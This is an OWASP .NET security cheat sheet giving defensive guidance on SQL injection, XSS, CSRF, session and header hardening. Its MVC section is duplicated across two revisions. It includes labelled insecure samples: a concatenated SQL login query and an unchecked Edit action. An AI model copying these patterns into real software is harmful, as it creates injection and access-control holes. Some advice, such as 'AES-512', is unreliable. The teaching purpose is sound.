ASP.NET MVC (Model-View-Controller) is a contemporary web application framework that uses more standardized HTTP communication than the Web Forms postback model. The OWASP Top 10 lists the most prevalent and dangerous threats to web security in the world today and is reviewed every 3 years. This section is based on this. Your approach to securing your web application should be to start at the top threat A1 below and work down, this will ensure that any time spent on security will be spent most effectively spent and cover the top threats first and lesser threats afterwards. After covering the top 10 it is generally advisable to assess for other threats or get a professionally completed Penetration Test.

* '''A1 SQL Injection'''

DO: Using an object relational mapper (ORM) or stored procedures is the most effective way of countering the SQL Injection vulnerability.

DO: Use parameterized queries where a direct sql query must be used.

e.g. In entity frameworks:

var sql = @"Update [User] SET FirstName = @FirstName WHERE Id = @Id";
context.Database.ExecuteSqlCommand(
sql,
new SqlParameter("@FirstName", firstname),
new SqlParameter("@Id", id));

DO NOT: Concatenate strings anywhere in your code and execute them against your database (Known as dynamic sql). NB: You can still accidentally do this with ORMs or Stored procedures so check everywhere.

e.g
string strQry = "SELECT * FROM Users WHERE UserName='" + txtUser.Text + "' AND Password='" + txtPassword.Text + "'";
EXEC strQry // SQL Injection vulnerability!

DO: Practise Least Privilege - Connect to the database using an account with a minimum set of permissions required to do it's job i.e. not the sa account

* '''A2 Weak Account management'''

Ensure cookies are sent via httpOnly:

CookieHttpOnly = true,

Reduce the time period a session can be stolen in by reducing session timeout and removing sliding expiration:

ExpireTimeSpan = TimeSpan.FromMinutes(60),
SlidingExpiration = false

See [https://github.com/johnstaveley/SecurityEssentials/blob/master/SecurityEssentials/App_Start/Startup.Auth.cs here] for full startup code snippet

Ensure cookie is sent over https in the production environment. This should be enforced in the config transforms:


<httpCookies requireSSL="true" xdt:Transform="SetAttributes(requireSSL)"/>
<authentication>
<forms requireSSL="true" xdt:Transform="SetAttributes(requireSSL)"/>

</authentication>

Protect LogOn, Registration and password reset methods against brute force attacks by throttling requests (see code below), consider also using ReCaptcha.

[HttpPost]
[AllowAnonymous]
[ValidateAntiForgeryToken]
'''[AllowXRequestsEveryXSecondsAttribute(Name = "LogOn", Message = "You have performed this action more than {x} times in the last {n} seconds.", Requests = 3, Seconds = 60)]'''
public async Task<ActionResult> LogOn(LogOnViewModel model, string returnUrl)

Find [https://github.com/johnstaveley/SecurityEssentials/blob/master/SecurityEssentials/Core/Attributes/ThrottleAttribute.cs here] the code to prevent throttling

DO NOT: Roll your own authentication or session management, use the one provided by .Net

DO NOT: Tell someone if the account exists on LogOn, Registration or Password reset. Say something like 'Either the username or password was incorrect', or 'If this account exists then a reset token will be sent to the registered email address'. This protects against account enumeration. The feedback to the user should be identical whether or not the account exists, both in terms of content and behaviour: e.g. if the response takes 50% longer when the account is real then membership information can be guessed and tested.

* '''A3 Cross Site Scripting'''

DO NOT: Trust any data the user sends you, prefer white lists (always safe) over black lists

You get encoding of all HTML content with MVC3, to properly encode all content whether HTML, javascript, CSS, LDAP etc use the Microsoft AntiXSS library:

Install-Package AntiXSS

then set in config:

<system.web>

<httpRuntime targetFramework="4.5" enableVersionHeader="false" encoderType="Microsoft.Security.Application.AntiXssEncoder, AntiXssLibrary" maxRequestLength="4096" />

DO NOT: Use the [AllowHTML] attribute or helper class @Html.Raw unless you really know that the content you are writing to the browser is safe and has been escaped properly.

DO: Enable a content security policy, this will prevent your pages from accessing assets it should not be able to access (e.g. a malicious script):
<system.webServer>
<httpProtocol>
<customHeaders>
<add name="Content-Security-Policy" value="default-src 'none'; style-src 'self'; img-src 'self'; font-src 'self'; script-src 'self'" />
...

* '''A4 Insecure Direct object references'''

When you have a resource (object) which can be accessed by a reference (in the sample below this is the id) then you need to ensure that the user is intended to be there

// Insecure
public ActionResult Edit(int id)
{
var user = _context.Users.FirstOrDefault(e => e.Id == id);
return View("Details", new UserViewModel(user);
}

// Secure
public ActionResult Edit(int id)
{
var user = _context.Users.FirstOrDefault(e => e.Id == id);
// Establish user has right to edit the details
if (user.Id != _userIdentity.GetUserId())
{
HandleErrorInfo error = new HandleErrorInfo(new Exception("INFO: You do not have permission to edit these details"));
return View("Error", error);
}
return View("Edit", new UserViewModel(user);
}

* '''A5 Security Misconfiguration'''

Ensure debug and trace are off in production. This can be enforced using web.config transforms:


<compilation xdt:Transform="RemoveAttributes(debug)" />

<trace enabled="false" xdt:Transform="Replace"/>

DO NOT: Use default passwords

DO: (When using TLS) Redirect a request made over Http to https: In Global.asax.cs:

protected void Application_BeginRequest()
{
#if !DEBUG
// SECURE: Ensure any request is returned over SSL/TLS in production
if (!Request.IsLocal && !Context.Request.IsSecureConnection) {
var redirect = Context.Request.Url.ToString().ToLower(CultureInfo.CurrentCulture).Replace("http:", "https:");
Response.Redirect(redirect);
}
#endif
}

* '''A6 Sensitive data exposure'''

DO NOT: Store encrypted passwords.

DO: Use a strong hash to store password credentials. Use PBKDF2, BCrypt or SCrypt with at least 8000 iterations and a strong key.

DO: Enforce passwords with a minimum complexity that will survive a dictionary attack i.e. longer passwords that use the full character set (numbers, symbols and letters) to increase the entropy.

DO: Use a strong encryption routine such as AES-512 where personally identifiable data needs to be restored to it's original format. Do not encrypt passwords. Protect encryption keys more than any other asset. Apply the following test: Would you be happy leaving the data on a spreadsheet on a bus for everyone to read. Assume the attacker can get direct access to your database and protect it accordingly.

DO: Use TLS 1.2 for your entire site. Get a free certificate from [https://www.startssl.com/ StartSSL.com] or [https://letsencrypt.org/ LetsEncrypt.org].

DO NOT: Allow SSL, this is now obsolete

DO: Have a strong TLS policy (see [http://www.ssllabs.com/projects/best-practises/ SSL Best Practises]), use TLS 1.2 wherever possible. Then check the configuration using [https://www.ssllabs.com/ssltest/ SSL Test]

DO: Ensure headers are not disclosing information about your application. See [https://github.com/johnstaveley/SecurityEssentials/blob/master/SecurityEssentials/Core/HttpHeaders.cs HttpHeaders.cs] , [https://github.com/Dionach/StripHeaders/ Dionach StripHeaders ] or disable via web.config:
<system.web>
<httpRuntime enableVersionHeader="false"/>
</system.web>
<system.webServer>
<security>
<requestFiltering removeServerHeader="true" />
</security>
<httpProtocol>
<customHeaders>
<add name="X-Content-Type-Options" value="NOSNIFF" />
<add name="X-Frame-Options" value="DENY" />
<add name="X-Permitted-Cross-Domain-Policies" value="master-only"/>
<add name="X-XSS-Protection" value="1; mode=block"/>
<remove name="X-Powered-By"/>
</customHeaders>
</httpProtocol>

* '''A7 Missing function level access control'''

DO: Authorize users on all externally facing endpoints. The .Net framework has many ways to authorize a user, use them at method level:

[Authorize(Roles = "Admin")]
[HttpGet]
public ActionResult Index(int page = 1)

or better yet, at controller level:

[Authorize]
public class UserController

You can also check roles in code using identity features in .net: System.Web.Security.Roles.IsUserInRole(userName, roleName)

* '''A8 Cross site request forgery'''

DO: Send the anti-forgery token with every Post/Put request:

using (Html.BeginForm("LogOff", "Account", FormMethod.Post, new { id = "logoutForm", @class = "pull-right" }))
{
@Html.AntiForgeryToken()
<ul class="nav nav-pills">
<li role="presentation">Logged on as @User.Identity.Name</li>
<li role="presentation"><a href="javascript:document.getElementById('logoutForm').submit()">Log off</a></li>
</ul>
}

Then validate it at the method or preferably the controller level:

[HttpPost]
'''[ValidateAntiForgeryToken]'''
public ActionResult LogOff()

Make sure the tokens are removed completely for invalidation on logout.

/// <summary>
/// SECURE: Remove any remaining cookies including Anti-CSRF cookie
/// </summary>
public void RemoveAntiForgeryCookie(Controller controller)
{
string[] allCookies = controller.Request.Cookies.AllKeys;
foreach (string cookie in allCookies)
{
if (controller.Response.Cookies[cookie] != null && cookie == "__RequestVerificationToken")
{
controller.Response.Cookies[cookie].Expires = DateTime.Now.AddDays(-1);
}
}
}

NB: You will need to attach the anti-forgery token to Ajax requests.

* '''A9 Using components with known vulnerabilities'''

DO: Keep the .Net framework updated with the latest patches

DO: Keep your NuGet packages up to date, many will contain their own vulnerabilities.

DO: Run the OWASP Dependency checker against your application as part of your build process and act on any high level vulnerabilities. [[https://www.owasp.org/index.php/OWASP_Dependency_Check OWASP Dependency Checker]]

* '''A10 Unvalidated redirects and forwards'''

A protection against this was introduced in Mvc 3 template. Here is the code:

public async Task<ActionResult> LogOn(LogOnViewModel model, string returnUrl)
{
if (ModelState.IsValid)
{
var logonResult = await _userManager.TryLogOnAsync(model.UserName, model.Password);
if (logonResult.Success)
{
await _userManager.LogOnAsync(logonResult.UserName, model.RememberMe);
return RedirectToLocal(returnUrl);
....

private ActionResult RedirectToLocal(string returnUrl)
{
if (Url.IsLocalUrl(returnUrl))
{
return Redirect(returnUrl);
}
else
{
return RedirectToAction("Landing", "Account");
}
}

Other advice:

* Protect against Clickjacking and man in the middle attack from capturing an initial Non-TLS request, set the X-Frame-Options and Strict-Transport-Security (HSTS) headers. Full details [https://github.com/johnstaveley/SecurityEssentials/blob/master/SecurityEssentials/Core/HttpHeaders.cs here]
* Protect against a man in the middle attack for a user who has never been to your site before. Register for [https://hstspreload.org/ HSTS preload]
* Maintain security testing and analysis on Web API services. They are hidden inside MEV sites, and are public parts of a site that will be found by an attacker. All of the MVC guidance and much of the WCF guidance applies to the Web API.

More information:

For more information on all of the above and code samples incorporated into a sample MVC5 application with an enhanced security baseline go to [http://github.com/johnstaveley/SecurityEssentials/ Security Essentials Baseline project]

==XAML Guidance==

* Work within the constraints of Internet Zone security for your application.
* Use ClickOnce deployment. For enhanced permissions, use permission elevation at runtime or trusted application deployment at install time.

==Windows Forms Guidance==

* Use partial trust when possible. Partially trusted Windows applications reduce the attack surface of an application. Manage a list of what permissions your app must use, and what it may use, and then make the request for those permissions declaratively at run time.
* Use ClickOnce deployment. For enhanced permissions, use permission elevation at runtime or trusted application deployment at install time.

==WCF Guidance==

* Keep in mind that the only safe way to pass a request in RESTful services is via HTTP POST, with TLS enabled. GETs are visible in the querystring, and a lack of TLS means the body can be intercepted.
* Avoid BasicHttpBinding. It has no default security configuration. Use WSHttpBinding instead.
* Use at least two security modes for your binding. Message security includes security provisions in the headers. Transport security means use of SSL. TransportWithMessageCredential combines the two.
* Test your WCF implementation with a fuzzer like the Zed Attack Proxy.

== Authors and Primary Editors ==

Bill Sempf - bill.sempf(at)owasp.org<br/>
Troy Hunt - troyhunt(at)hotmail.com<br/>
Jeremy Long - jeremy.long(at)owasp.org<br />

== Contributors ==

Shane Murnion
John Staveley
Steve Bamelis

== Other Cheatsheets ==

{{Cheatsheet_Navigation_Body}}

|}

[[Category:Cheatsheets]][[Category:OWASP .NET Project]]

.NET Security Cheat Sheet

2017-09-20T14:56:10Z

Bill Sempf: Reformatted A9

__NOTOC__
<div style="width:100%;height:160px;border:0,margin:0;overflow: hidden;">[[File:Cheatsheets-header.jpg|link=]]</div>

{| style="padding: 0;margin:0;margin-top:10px;text-align:left;" |-
| valign="top" style="border-right: 1px dotted gray;padding-right:25px;" |
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''
== Introduction ==
__TOC__{{TOC hidden}}
This page intends to provide quick basic .NET security tips for developers.

===The .NET Framework===
The .NET Framework is Microsoft's principal platform for enterprise development. It is the supporting API for ASP.NET, Windows Desktop applications, Windows Communication Foundation services, SharePoint, Visual Studio Tools for Office and other technologies.

===Updating the Framework===
The .NET Framework is kept up-to-date by Microsoft with the Windows Update service. Developers do not normally need to run seperate updates to the Framework. Windows update can be accessed at [http://windowsupdate.microsoft.com/ Windows Update] or from the Windows Update program on a Windows computer.

Individual frameworks can be kept up to date using [http://nuget.codeplex.com/wikipage?title=Getting%20Started&referringTitle=Home NuGet]. As Visual Studio prompts for updates, build it into your lifecycle.

Remember that third party libraries have to be updated separately and not all of them use Nuget. ELMAH for instance, requires a separate update effort.

==.NET Framework Guidance==

The .NET Framework is the set of APIs that support an advanced type system, data, graphics, network, file handling and most of the rest of what is needed to write enterprise apps in the Microsoft ecosystem. It is a nearly ubiquitous library that is strong named and versioned at the assembly level.

=== Data Access ===

* Use [http://msdn.microsoft.com/en-us/library/ms175528(v=sql.105).aspx Parameterized SQL] commands for all data access, without exception.
* Do not use [http://msdn.microsoft.com/en-us/library/system.data.sqlclient.sqlcommand.aspx SqlCommand] with a string parameter made up of a [http://msdn.microsoft.com/en-us/library/ms182310.aspx concatenated SQL String].
* Whitelist allowable values coming from the user. Use enums, [http://msdn.microsoft.com/en-us/library/f02979c7.aspx TryParse] or lookup values to assure that the data coming from the user is as expected.
** Enums are still vulnerable to unexpected values because .NET only validates a successful cast to the underlying data type, integer by default. [https://msdn.microsoft.com/en-us/library/system.enum.isdefined Enum.IsDefined] can validate whether the input value is valid within the list of defined constants.
* Apply the principle of least privilege when setting up the Database User in your database of choice. The database user should only be able to access items that make sense for the use case.
* Use of the [http://msdn.microsoft.com/en-us/data/ef.aspx Entity Framework] is a very effective [http://msdn.microsoft.com/en-us/library/ms161953(v=sql.105).aspx SQL injection] prevention mechanism. Remember that building your own ''ad hoc'' queries in EF is just as susceptible to SQLi as a plain SQL query.
* When using SQL Server, prefer integrated authentication over SQL authentication.
* Use [https://msdn.microsoft.com/en-us/library/mt163865.aspx Always Encrypted] where possible for sensitive data (SQL Server 2016 and SQL Azure),

=== Encryption ===
* Never, ever write your own encryption.
* Use the [http://msdn.microsoft.com/en-us/library/ms995355.aspx Windows Data Protection API (DPAPI)] for secure local storage of sensitive data.
* Use a strong hash algorithm.
** In .NET (both Framework and Core) the strongest hashing algorithm for general hashing requirements is [http://msdn.microsoft.com/en-us/library/system.security.cryptography.sha512.aspx System.Security.Cryptography.SHA512].
** In the .NET framework the strongest algorithm for password hashing is PBKDF2, implemented as [http://msdn.microsoft.com/en-us/library/system.security.cryptography.rfc2898derivebytes(v=vs.110).aspx System.Security.Cryptography.Rfc2898DeriveBytes].
** In .NET Core the strongest algorithm for password hashing is PBKDF2, implemented as [https://docs.microsoft.com/en-us/aspnet/core/security/data-protection/consumer-apis/password-hashing Microsoft.AspNetCore.Cryptography.KeyDerivation.Pbkdf2] which has several significant advantages over Rfc2898DeriveBytes.
** When using a hashing function to hash non-unique inputs such as passwords, use a salt value added to the original value before hashing.
* Make sure your application or protocol can easily support a future change of cryptographic algorithms.
* Use Nuget to keep all of your packages up to date. Watch the updates on your development setup, and plan updates to your applications accordingly.

=== General ===

* Lock down the config file.
** Remove all aspects of configuration that are not in use.
** Encrypt sensitive parts of the web.config using aspnet_regiis -pe

* For Click Once applications the .Net Framework should be upgraded to use version 4.6.2 to ensure TLS 1.1/1.2 support.

==ASP.NET Web Forms Guidance==

ASP.NET Web Forms is the original browser-based application development API for the .NET framework, and is still the most common enterprise platform for web application development.

* Always use [http://support.microsoft.com/kb/324069 HTTPS].
* Enable [http://msdn.microsoft.com/en-us/library/system.web.configuration.httpcookiessection.requiressl.aspx requireSSL] on cookies and form elements and [http://msdn.microsoft.com/en-us/library/system.web.configuration.httpcookiessection.httponlycookies.aspx HttpOnly] on cookies in the web.config.
* Implement [http://msdn.microsoft.com/en-us/library/h0hfz6fc(v=VS.71).aspx customErrors].
* Make sure [http://www.iis.net/configreference/system.webserver/tracing tracing] is turned off.
* While viewstate isn't always appropriate for web development, using it can provide CSRF mitigation. To make the ViewState protect against CSRF attacks you need to set the [http://msdn.microsoft.com/en-us/library/ms972969.aspx#securitybarriers_topic2 ViewStateUserKey]:

protected override OnInit(EventArgs e) {
base.OnInit(e);
ViewStateUserKey = Session.SessionID;
}

If you don't use Viewstate, then look to the default master page of the ASP.NET Web Forms default template for a manual anti-CSRF token using a double-submit cookie.

private const string AntiXsrfTokenKey = "__AntiXsrfToken";
private const string AntiXsrfUserNameKey = "__AntiXsrfUserName";
private string _antiXsrfTokenValue;
protected void Page_Init(object sender, EventArgs e)
{
// The code below helps to protect against XSRF attacks
var requestCookie = Request.Cookies[AntiXsrfTokenKey];
Guid requestCookieGuidValue;
if (requestCookie != null && Guid.TryParse(requestCookie.Value, out requestCookieGuidValue))
{
// Use the Anti-XSRF token from the cookie
_antiXsrfTokenValue = requestCookie.Value;
Page.ViewStateUserKey = _antiXsrfTokenValue;
}
else
{
// Generate a new Anti-XSRF token and save to the cookie
_antiXsrfTokenValue = Guid.NewGuid().ToString("N");
Page.ViewStateUserKey = _antiXsrfTokenValue;
var responseCookie = new HttpCookie(AntiXsrfTokenKey)
{
HttpOnly = true,
Value = _antiXsrfTokenValue
};
if (FormsAuthentication.RequireSSL && Request.IsSecureConnection)
{
responseCookie.Secure = true;
}
Response.Cookies.Set(responseCookie);
}
Page.PreLoad += master_Page_PreLoad;
}

protected void master_Page_PreLoad(object sender, EventArgs e)
{
if (!IsPostBack)
{
// Set Anti-XSRF token
ViewState[AntiXsrfTokenKey] = Page.ViewStateUserKey;
ViewState[AntiXsrfUserNameKey] = Context.User.Identity.Name ?? String.Empty;
}
else
{
// Validate the Anti-XSRF token
if ((string)ViewState[AntiXsrfTokenKey] != _antiXsrfTokenValue ||
(string)ViewState[AntiXsrfUserNameKey] != (Context.User.Identity.Name ?? String.Empty))
{
throw new InvalidOperationException("Validation of Anti-XSRF token failed.");
}
}
}

* Consider [http://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security HSTS] in IIS.
** In the Connections pane, go to the site, application, or directory for which you want to set a custom HTTP header.
** In the Home pane, double-click HTTP Response Headers.
** In the HTTP Response Headers pane, click Add... in the Actions pane.
** In the Add Custom HTTP Response Header dialog box, set the name and value for your custom header, and then click OK.
** This is a recommended web.config setup that handles HSTS among other things.

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.web>
<httpRuntime enableVersionHeader="false"/>
</system.web>
<system.webServer>
<security>
<requestFiltering removeServerHeader="true" />
</security>
<staticContent>
<clientCache cacheControlCustom="public" cacheControlMode="UseMaxAge" cacheControlMaxAge="1.00:00:00" setEtag="true" />
</staticContent>
<httpProtocol>
<customHeaders>
<add name="Content-Security-Policy" value="default-src 'none'; style-src 'self'; img-src 'self'; font-src 'self'" />
<add name="X-Content-Type-Options" value="NOSNIFF" />
<add name="X-Frame-Options" value="DENY" />
<add name="X-Permitted-Cross-Domain-Policies" value="master-only"/>
<add name="X-XSS-Protection" value="1; mode=block"/>
<remove name="X-Powered-By"/>
</customHeaders>
</httpProtocol>
<rewrite>
<rules>
<rule name="Redirect to https">
<match url="(.*)"/>
<conditions>
<add input="{HTTPS}" pattern="Off"/>
<add input="{REQUEST_METHOD}" pattern="^get$|^head$" />
</conditions>
<action type="Redirect" url="https://{HTTP_HOST}/{R:1}" redirectType="Permanent"/>
</rule>
</rules>
<outboundRules>
<rule name="Add HSTS Header" enabled="true">
<match serverVariable="RESPONSE_Strict_Transport_Security"
pattern=".*" />
<conditions>
<add input="{HTTPS}" pattern="on" ignoreCase="true" />
</conditions>
<action type="Rewrite" value="max-age=15768000" />
</rule>
</outboundRules>
</rewrite>
</system.webServer>
</configuration>

* Remove the version header.

<httpRuntime enableVersionHeader="false" />

* Also remove the Server header.

HttpContext.Current.Response.Headers.Remove("Server");

=== HTTP validation and encoding ===

* Do not disable [http://www.asp.net/whitepapers/request-validation validateRequest] in the web.config or the page setup. This value enables limited XSS protection in ASP.NET and should be left intact as it provides partial prevention of Cross Site Scripting. Complete request validation is recommended in addition to the built in protections.
* The 4.5 version of the .NET Frameworks includes the AntiXssEncoder library, which has a comprehensive input encoding library for the prevention of XSS. Use it.
* Whitelist allowable values anytime user input is accepted.
* Validate the URI format using [http://msdn.microsoft.com/en-us/library/system.uri.iswellformeduristring.aspx Uri.IsWellFormedUriString].

=== Forms authentication ===

* Use cookies for persistence when possible. Cookieless Auth will default to UseDeviceProfile.
* Don't trust the URI of the request for persistence of the session or authorization. It can be easily faked.
* Reduce the forms authentication timeout from the default of 20 minutes to the shortest period appropriate for your application. If slidingExpiration is used this timeout resets after each request, so active users won't be affected.
* If HTTPS is not used, slidingExpiration should be disabled. Consider disabling slidingExpiration even with HTTPS.
* Always implement proper access controls.
** Compare user provided username with User.Identity.Name.
** Check roles against User.Identity.IsInRole.
* Use the ASP.NET Membership provider and role provider, but review the password storage. The default storage hashes the password with a single iteration of SHA-1 which is rather weak. The ASP.NET MVC4 template uses [http://www.asp.net/identity/overview/getting-started/introduction-to-aspnet-identity ASP.NET Identity] instead of ASP.NET Membership, and ASP.NET Identity uses PBKDF2 by default which is better. Review the OWASP [[Password Storage Cheat Sheet]] for more information.
* Explicitly authorize resource requests.
* Leverage role based authorization using User.Identity.IsInRole.

==ASP.NET MVC Guidance==

ASP.NET MVC (Model-View-Controller) is a contemporary web application framework that uses more standardized HTTP communication than the Web Forms postback model. The OWASP Top 10 lists the most prevalent and dangerous threats to web security in the world today and is reviewed every 3 years. This section is based on this. Your approach to securing your web application should be to start at the top threat A1 below and work down, this will ensure that any time spent on security will be spent most effectively spent and cover the top threats first and lesser threats afterwards. After covering the top 10 it is generally advisable to assess for other threats or get a professionally completed Penetration Test.

* '''A1 SQL Injection'''

DO: Using an object relational mapper (ORM) or stored procedures is the most effective way of countering the SQL Injection vulnerability.

DO: Use parameterized queries where a direct sql query must be used.

e.g. In entity frameworks:

var sql = @"Update [User] SET FirstName = @FirstName WHERE Id = @Id";
context.Database.ExecuteSqlCommand(
sql,
new SqlParameter("@FirstName", firstname),
new SqlParameter("@Id", id));

DO NOT: Concatenate strings anywhere in your code and execute them against your database (Known as dynamic sql). NB: You can still accidentally do this with ORMs or Stored procedures so check everywhere.

e.g
string strQry = "SELECT * FROM Users WHERE UserName='" + txtUser.Text + "' AND Password='" + txtPassword.Text + "'";
EXEC strQry // SQL Injection vulnerability!

DO: Practise Least Privilege - Connect to the database using an account with a minimum set of permissions required to do it's job i.e. not the sa account

* '''A2 Weak Account management'''

Ensure cookies are sent via httpOnly:

CookieHttpOnly = true,

Reduce the time period a session can be stolen in by reducing session timeout and removing sliding expiration:

ExpireTimeSpan = TimeSpan.FromMinutes(60),
SlidingExpiration = false

See [https://github.com/johnstaveley/SecurityEssentials/blob/master/SecurityEssentials/App_Start/Startup.Auth.cs here] for full startup code snippet

Ensure cookie is sent over https in the production environment. This should be enforced in the config transforms:


<httpCookies requireSSL="true" xdt:Transform="SetAttributes(requireSSL)"/>
<authentication>
<forms requireSSL="true" xdt:Transform="SetAttributes(requireSSL)"/>

</authentication>

Protect LogOn, Registration and password reset methods against brute force attacks by throttling requests (see code below), consider also using ReCaptcha.

[HttpPost]
[AllowAnonymous]
[ValidateAntiForgeryToken]
'''[AllowXRequestsEveryXSecondsAttribute(Name = "LogOn", Message = "You have performed this action more than {x} times in the last {n} seconds.", Requests = 3, Seconds = 60)]'''
public async Task<ActionResult> LogOn(LogOnViewModel model, string returnUrl)

Find [https://github.com/johnstaveley/SecurityEssentials/blob/master/SecurityEssentials/Core/Attributes/ThrottleAttribute.cs here] the code to prevent throttling

DO NOT: Roll your own authentication or session management, use the one provided by .Net

DO NOT: Tell someone if the account exists on LogOn, Registration or Password reset. Say something like 'Either the username or password was incorrect', or 'If this account exists then a reset token will be sent to the registered email address'. This protects against account enumeration. The feedback to the user should be identical whether or not the account exists, both in terms of content and behaviour: e.g. if the response takes 50% longer when the account is real then membership information can be guessed and tested.

* '''A3 Cross Site Scripting'''

DO NOT: Trust any data the user sends you, prefer white lists (always safe) over black lists

You get encoding of all HTML content with MVC3, to properly encode all content whether HTML, javascript, CSS, LDAP etc use the Microsoft AntiXSS library:

Install-Package AntiXSS

then set in config:

<system.web>

<httpRuntime targetFramework="4.5" enableVersionHeader="false" encoderType="Microsoft.Security.Application.AntiXssEncoder, AntiXssLibrary" maxRequestLength="4096" />

DO NOT: Use the [AllowHTML] attribute or helper class @Html.Raw unless you really know that the content you are writing to the browser is safe and has been escaped properly.

DO: Enable a content security policy, this will prevent your pages from accessing assets it should not be able to access (e.g. a malicious script):
<system.webServer>
<httpProtocol>
<customHeaders>
<add name="Content-Security-Policy" value="default-src 'none'; style-src 'self'; img-src 'self'; font-src 'self'; script-src 'self'" />
...

* '''A4 Insecure Direct object references'''

When you have a resource (object) which can be accessed by a reference (in the sample below this is the id) then you need to ensure that the user is intended to be there

// Insecure
public ActionResult Edit(int id)
{
var user = _context.Users.FirstOrDefault(e => e.Id == id);
return View("Details", new UserViewModel(user);
}

// Secure
public ActionResult Edit(int id)
{
var user = _context.Users.FirstOrDefault(e => e.Id == id);
// Establish user has right to edit the details
if (user.Id != _userIdentity.GetUserId())
{
HandleErrorInfo error = new HandleErrorInfo(new Exception("INFO: You do not have permission to edit these details"));
return View("Error", error);
}
return View("Edit", new UserViewModel(user);
}

* '''A5 Security Misconfiguration'''

Ensure debug and trace are off in production. This can be enforced using web.config transforms:


<compilation xdt:Transform="RemoveAttributes(debug)" />

<trace enabled="false" xdt:Transform="Replace"/>

DO NOT: Use default passwords

DO: (When using TLS) Redirect a request made over Http to https: In Global.asax.cs:

protected void Application_BeginRequest()
{
#if !DEBUG
// SECURE: Ensure any request is returned over SSL/TLS in production
if (!Request.IsLocal && !Context.Request.IsSecureConnection) {
var redirect = Context.Request.Url.ToString().ToLower(CultureInfo.CurrentCulture).Replace("http:", "https:");
Response.Redirect(redirect);
}
#endif
}

* '''A6 Sensitive data exposure'''

DO NOT: Store encrypted passwords.

DO: Use a strong hash to store password credentials. Use PBKDF2, BCrypt or SCrypt with at least 8000 iterations and a strong key.

DO: Enforce passwords with a minimum complexity that will survive a dictionary attack i.e. longer passwords that use the full character set (numbers, symbols and letters) to increase the entropy.

DO: Use a strong encryption routine such as AES-512 where personally identifiable data needs to be restored to it's original format. Do not encrypt passwords. Protect encryption keys more than any other asset. Apply the following test: Would you be happy leaving the data on a spreadsheet on a bus for everyone to read. Assume the attacker can get direct access to your database and protect it accordingly.

DO: Use TLS 1.2 for your entire site. Get a free certificate from [https://www.startssl.com/ StartSSL.com] or [https://letsencrypt.org/ LetsEncrypt.org].

DO NOT: Allow SSL, this is now obsolete

DO: Have a strong TLS policy (see [http://www.ssllabs.com/projects/best-practises/ SSL Best Practises]), use TLS 1.2 wherever possible. Then check the configuration using [https://www.ssllabs.com/ssltest/ SSL Test]

DO: Ensure headers are not disclosing information about your application. See [https://github.com/johnstaveley/SecurityEssentials/blob/master/SecurityEssentials/Core/HttpHeaders.cs HttpHeaders.cs] , [https://github.com/Dionach/StripHeaders/ Dionach StripHeaders ] or disable via web.config:
<system.web>
<httpRuntime enableVersionHeader="false"/>
</system.web>
<system.webServer>
<security>
<requestFiltering removeServerHeader="true" />
</security>
<httpProtocol>
<customHeaders>
<add name="X-Content-Type-Options" value="NOSNIFF" />
<add name="X-Frame-Options" value="DENY" />
<add name="X-Permitted-Cross-Domain-Policies" value="master-only"/>
<add name="X-XSS-Protection" value="1; mode=block"/>
<remove name="X-Powered-By"/>
</customHeaders>
</httpProtocol>

* '''A7 Missing function level access control'''

DO: Authorize users on all externally facing endpoints. The .Net framework has many ways to authorize a user, use them at method level:

[Authorize(Roles = "Admin")]
[HttpGet]
public ActionResult Index(int page = 1)

or better yet, at controller level:

[Authorize]
public class UserController

You can also check roles in code using identity features in .net: System.Web.Security.Roles.IsUserInRole(userName, roleName)

* '''A8 Cross site request forgery'''

DO: Send the anti-forgery token with every Post/Put request:

using (Html.BeginForm("LogOff", "Account", FormMethod.Post, new { id = "logoutForm", @class = "pull-right" }))
{
@Html.AntiForgeryToken()
<ul class="nav nav-pills">
<li role="presentation">Logged on as @User.Identity.Name</li>
<li role="presentation"><a href="javascript:document.getElementById('logoutForm').submit()">Log off</a></li>
</ul>
}

Then validate it at the method or preferably the controller level:

[HttpPost]
'''[ValidateAntiForgeryToken]'''
public ActionResult LogOff()

Make sure the tokens are removed completely for invalidation on logout.

/// <summary>
/// SECURE: Remove any remaining cookies including Anti-CSRF cookie
/// </summary>
public void RemoveAntiForgeryCookie(Controller controller)
{
string[] allCookies = controller.Request.Cookies.AllKeys;
foreach (string cookie in allCookies)
{
if (controller.Response.Cookies[cookie] != null && cookie == "__RequestVerificationToken")
{
controller.Response.Cookies[cookie].Expires = DateTime.Now.AddDays(-1);
}
}
}

NB: You will need to attach the anti-forgery token to Ajax requests.

* '''A9 Using components with known vulnerabilities'''

DO: Keep the .Net framework updated with the latest patches

DO: Keep your NuGet packages up to date, many will contain their own vulnerabilities.

DO: Run the OWASP Dependency checker against your application as part of your build process and act on any high level vulnerabilities. [[https://www.owasp.org/index.php/OWASP_Dependency_Check OWASP Dependency Checker]]

* '''A10 Unvalidated redirects and forwards'''

A protection against this was introduced in Mvc 3 template. Here is the code:

public async Task<ActionResult> LogOn(LogOnViewModel model, string returnUrl)
{
if (ModelState.IsValid)
{
var logonResult = await _userManager.TryLogOnAsync(model.UserName, model.Password);
if (logonResult.Success)
{
await _userManager.LogOnAsync(logonResult.UserName, model.RememberMe);
return RedirectToLocal(returnUrl);
....

private ActionResult RedirectToLocal(string returnUrl)
{
if (Url.IsLocalUrl(returnUrl))
{
return Redirect(returnUrl);
}
else
{
return RedirectToAction("Landing", "Account");
}
}

Other advice:

* Protect against Clickjacking and man in the middle attack from capturing an initial Non-TLS request, set the X-Frame-Options and Strict-Transport-Security (HSTS) headers. Full details [https://github.com/johnstaveley/SecurityEssentials/blob/master/SecurityEssentials/Core/HttpHeaders.cs here]
* Protect against a man in the middle attack for a user who has never been to your site before. Register for [https://hstspreload.org/ HSTS preload]
* Maintain security testing and analysis on Web API services. They are hidden inside MEV sites, and are public parts of a site that will be found by an attacker. All of the MVC guidance and much of the WCF guidance applies to the Web API.

More information:

For more information on all of the above and code samples incorporated into a sample MVC5 application with an enhanced security baseline go to [http://github.com/johnstaveley/SecurityEssentials/ Security Essentials Baseline project]

==XAML Guidance==

* Work within the constraints of Internet Zone security for your application.
* Use ClickOnce deployment. For enhanced permissions, use permission elevation at runtime or trusted application deployment at install time.

==Windows Forms Guidance==

* Use partial trust when possible. Partially trusted Windows applications reduce the attack surface of an application. Manage a list of what permissions your app must use, and what it may use, and then make the request for those permissions declaratively at run time.
